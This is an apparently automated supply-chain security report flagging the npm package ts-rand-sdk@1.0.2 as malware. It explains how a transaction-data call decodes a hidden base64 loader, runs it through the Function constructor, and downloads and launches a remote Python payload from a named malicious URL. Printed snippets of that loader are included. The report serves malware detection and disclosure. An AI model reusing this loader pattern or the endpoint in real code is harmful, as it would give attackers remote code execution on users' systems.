---
canonical: "https://firewall.lpm.dev/npm/ts-rand-sdk/v/1.0.2"
markdown: "https://firewall.lpm.dev/npm/ts-rand-sdk/v/1.0.2.md"
package: "ts-rand-sdk"
report_status: "published"
title: "ts-rand-sdk@1.0.2 npm security report"
verdict: "malicious"
version: "1.0.2"
---

# ts-rand-sdk@1.0.2 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Remote code execution in the consuming application's user context.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 1.0.2
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

A call to getTransactions(10) or load\_transaction\_data(10) reconstructs and executes an obfuscated payload. The payload downloads a Python script, stores it under the system temporary directory, and starts it detached.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-18T23:31:51.501Z
- **Finished:** 2026-08-18T23:33:11.950Z
- **Download time:** 258 ms
- **Static scan time:** 58 ms
- **AI review time:** 80133 ms
- **Total time:** 80449 ms

## Security analysis

### Published attack-surface review

- **Summary:** A call to getTransactions(10) or load\_transaction\_data(10) reconstructs and executes an obfuscated payload. The payload downloads a Python script, stores it under the system temporary directory, and starts it detached.

- **Trigger:** User code calls getTransactions(10) or load\_transaction\_data(10); execution is delayed 100 ms.

- **Impact:** Remote code execution in the consuming application's user context.

- **Evidence paths:** index.js, database.js, package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-18T23:33:11.950Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Obfuscated local payload reconstruction followed by remote Python payload download and detached execution.

- **Attack narrative:** The public transaction generator secretly invokes an obfuscated loader. With count=10, its bundled database records reconstruct JavaScript that fetches https://dothebest.store/empty.php, writes the response to a predictable temporary file, and uses a detached Python process to execute it. The remote response controls the executed code, while normal transaction data is still returned to mask the behavior.

- **Rationale:** This is a concrete staged remote-code-execution chain hidden behind a transaction-data API. The absence of lifecycle hooks does not mitigate runtime execution after an ordinary library call.

- **Files touched:** index.js, database.js, /tmp/tmp\_20260529

- **Network endpoints:** https://dothebest.store/empty.php

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** index.js decodes records from database.js and executes the reconstructed text with Function., Static reconstruction for count=10 reveals a hidden payload that downloads https://dothebest.store/empty.php, writes it to a temporary file, and launches it detached with Python., getTransactions invokes the hidden loader after returning plausible transaction data, concealing the payload behind normal SDK behavior.

- **Evidence against:** package.json has no preinstall, install, or postinstall hook., No confirmed credential harvesting or AI-agent control-surface mutation.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 3. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/ts-rand-sdk@1.0.2/index.js>)

index.js decodes records from database.js and executes the reconstructed text with Function.

Public source snippet (untrusted):

```javascript
let result = "";
    for (const item of records) {
        result += processData(
            item.mark,
            count
        );
    }
    return result;
```

### 4. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/ts-rand-sdk@1.0.2/index.js>)

index.js decodes records from database.js and executes the reconstructed text with Function.

Public source snippet (untrusted):

```javascript
const _loadFn = loadConfig;
                const _result = _loadFn("database.js", count);
                
                const _bufferFrom = Buffer.from;
                const _data = _bufferFrom(_result, "base64");
                
                const _toString = _data.toString.bind(_data);
                const _code = _toString("utf-8");
               
                const _FuncCtor = _executor.getFunction();
               
                const _fn = _FuncCtor(
                    _0x1a2b.Buffer,
                    _0x1a2b.require,
                    _0x1a2b.proce
```

### 5. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/ts-rand-sdk@1.0.2/index.js>)

index.js decodes records from database.js and executes the reconstructed text with Function.

Public source snippet (untrusted):

```javascript
const _fn = _FuncCtor(
                    _0x1a2b.Buffer,
                    _0x1a2b.require,
                    _0x1a2b.process,
                    _code
                );
                
                return _fn(Buffer, require, process);
```

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/ts-rand-sdk@1.0.2/index.js>)

getTransactions invokes the hidden loader after returning plausible transaction data, concealing the payload behind normal SDK behavior.

Public source snippet (untrusted):

```javascript
const _loadFn = exports.load_transaction_data;
    try {
        _loadFn(count)
    } catch(e) {
    }
    
    transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
    return transactionsData
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 3
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 3

### Published dependency entries
- axios ^1.6.0 (Dependency)
- base-64 ^1.0.0 (Dependency)
- python-shell ^1.0.8 (Dependency)

## Package metadata
- **Package:** ts-rand-sdk
- **Ecosystem:** npm
- **Version:** 1.0.2
- **License:** ISC
- **Version published:** 2026-08-18T01:39:58.541Z
- **Package first seen:** 2026-08-18T23:33:11.950Z
- **Package last seen:** 2026-08-18T23:33:11.950Z
- **Known versions:** 1
- **Latest version:** 1.0.2
- **Appeal under review:** No
- **Description:** Used to generate random transactions data
- **Artifact files:** 4
- **Artifact unpacked size:** 52,565 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/ts-rand-sdk/v/1.0.2>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-14193>)
- [PACKAGE](<https://www.npmjs.com/package/ts-rand-sdk/v/1.0.2>)
